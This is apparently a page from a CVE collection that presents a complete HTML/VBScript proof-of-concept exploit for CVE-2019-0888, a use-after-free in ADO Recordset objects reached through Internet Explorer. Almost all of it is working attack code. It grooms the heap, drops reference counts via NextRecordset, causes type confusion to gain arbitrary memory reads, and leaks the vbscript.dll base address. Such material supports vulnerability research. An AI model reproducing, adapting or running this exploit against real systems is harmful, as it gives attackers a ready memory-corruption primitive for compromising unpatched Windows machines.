4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2019-0888-poc.html HTML
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
</head>
<body>
<script language="vbscript">
' Create 20 Recordset objects and establish a DB connection to local server "SQLEXPRESS".
Dim RS(20)
Dim RS_i
RS_i = 0
For i = 0 to UBound(RS)
    Set RS(i) = CreateObject("ADOR.Recordset")
    RS(i).Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
        "Provider=SQLOLEDB;" & _
        "Data Source=.\SQLEXPRESS;" & _
        "Initial Catalog=master;" & _
        "Integrated Security=SSPI;" & _
        "Trusted_Connection=True;"
Next

Dim UafArrayA(2000,6),UafArrayB(2000,6),UafArrayA_obj
Dim objectArray(40)
Dim FakeArrayString,Empty16BString
Dim Empty16BString_addr
Dim reuseObjectA_arr,reuseObjectB_int
Dim objectOfClassWithPropA,objectOfClassWithPropB

FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")

Function GetUint32(addr)
    Dim value
    UafArrayA_obj.mem(Empty16BString_addr+8)=addr+4 ' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] so [addr]
    UafArrayA_obj.mem(Empty16BString_addr)=8 ' set type to VT_BSTR
    value=UafArrayA_obj.ReadBstrValll
    UafArrayA_obj.mem(Empty16BString_addr)=2 ' set type to original VT_I2
    GetUint32=value
End Function

Function GetWord(addr)
    GetWord = GetUint32(addr) And &h0fff
End Function

Function GetByte(addr)
    GetByte = GetUint32(addr) And &hff
End Function

Sub EmptySub
End Sub

' Perform a call to NextRecordset to remove the given object's reference count. 
' Cycle through the previously created Recordset objects, because NextRecordset will not work for a second time on the same object.
Sub DecrementRefcount(obj)
        On Error Resume Next
        Set m = RS(RS_i).NextRecordset(obj)
        RS_i = RS_i + 1
End Sub

Function ReadRawPointer
    UafArrayA_obj.mem(Empty16BString_addr)=3                        ' set var type to type vbLong 
    ReadRawPointer=UafArrayA_obj.mem(Empty16BString_addr+8)        ' read data as vbLong
End Function

Sub SetVarData(ByRef ref)
    UafArrayA_obj.mem(Empty16BString_addr+8)=ref                ' set data
End Sub

Function LeakVBAddr
    On Error Resume Next
    Dim emptySub_addr_placeholder
    emptySub_addr_placeholder=EmptySub
    emptySub_addr_placeholder=null
    SetVarData emptySub_addr_placeholder
    LeakVBAddr=ReadRawPointer()
End Function

Function FindMzBase(addr)
    Dim base
    base= addr And &hffff0000
    Do While GetUint32(base+104)<> &h206e6920 Or GetUint32(base+108) <> &h20534f44
        base = base - &h10000
    Loop
    FindMzBase=base
End Function

Class EmptyClass
End Class

Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
    mem=Value ' will actually call Default Poperty Get
    SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
    ReadBstrValll=LenB(mem(Empty16BString_addr+8))
End Function
Function Q
End Function
End Class

Class ReplacingClass_Array
Public Default Property Get Q
    Dim objectImitatingArray
    
    Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
    
    For i=0 To 6
        DecrementRefcount(reuseObjectA_arr)
    Next

    For i=0 to UBound(UafArrayA)
        Set objectImitatingArray=New FakeReuseClass
        objectImitatingArray.mem = FakeArrayString
        For j=0 To 6
            Set UafArrayA(i,j)=objectImitatingArray
        Next
    Next
End Property
End Class

Class ReplacingClass_Int
Public Default Property Get P
    Dim objectImitatingInteger
    
    P=CDbl("636598737289582e-328") ' db 0, 0, 0, 0, 3, 0, 0, 0
    
    For i=0 To 6
        DecrementRefcount(reuseObjectB_int)
    Next

    For i=0 to UBound(UafArrayB)
        Set objectImitatingInteger=New FakeReuseClass
        objectImitatingInteger.mem=Empty16BString
        For j=0 To 6
            Set UafArrayB(i,j)=objectImitatingInteger
        Next
    Next
End Property
End Class

Set objectOfClassWithPropA=New ReplacingClass_Array
Set objectOfClassWithPropB=New ReplacingClass_Int

Sub UafTrigger
    For idx=0 To 17
        Set objectArray(idx)=New EmptyClass
    Next
    For idx=20 To 38
        Set objectArray(idx)=New ReuseClass
    Next
    Set reuseObjectA_arr=New ReuseClass
    Set reuseObjectB_int=New ReuseClass
End Sub

Sub TypeConfusion
    On Error Resume Next
        
    reuseObjectB_int.SetProp(objectOfClassWithPropB)

    vt = VarType(reuseObjectB_int.mem)
    If vt = 3 Then
        MsgBox("Got Empty16BString_addr from reuseObjectB_int")
        Empty16BString_addr = reuseObjectB_int.mem
    Else
        For i=0 To UBound(UafArrayB)
            vt = VarType(UafArrayB(i,0).mem)
            If vt = 3 Then
                Exit For
            End If
        Next
        If i > UBound(UafArrayB) Then
            MsgBox("Could not find an object corrupted by reuseObjectB_int")
        Else        
            MsgBox("Got Empty16BString_addr from UafArrayB(" & i & ")")
            Empty16BString_addr = UafArrayB(i,0).mem
        End If
    End If

    reuseObjectA_arr.SetProp(objectOfClassWithPropA)        

    Err.Clear
    a = reuseObjectA_arr.mem(Empty16BString_addr)
    If Err.Number = 0 Then
        MsgBox("Got UafArrayA_obj from reuseObjectA_arr")
        Set UafArrayA_obj = reuseObjectA_arr
    Else
        For i=0 To UBound(UafArrayA)
            Err.Clear
            a = UafArrayA(i,0).mem(Empty16BString_addr)
            If Err.Number = 0 Then
                Exit For
            End If
        Next
        If i > UBound(UafArrayA) Then
            MsgBox("Could not find an object corrupted by reuseObjectA_arr")
        Else
            MsgBox("Got UafArrayA_obj from UafArrayA(" & i & ")")
            Set UafArrayA_obj = UafArrayA(i,0)
        End If
    End If
End Sub

Sub StartExploit
    UafTrigger
    TypeConfusion
    ptr_toCScriptEntryPointVTble=LeakVBAddr()
    vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
    MsgBox("vbscript.dll base: 0x" & Hex(vbscript))
End Sub

StartExploit
</script>
</body>
</html>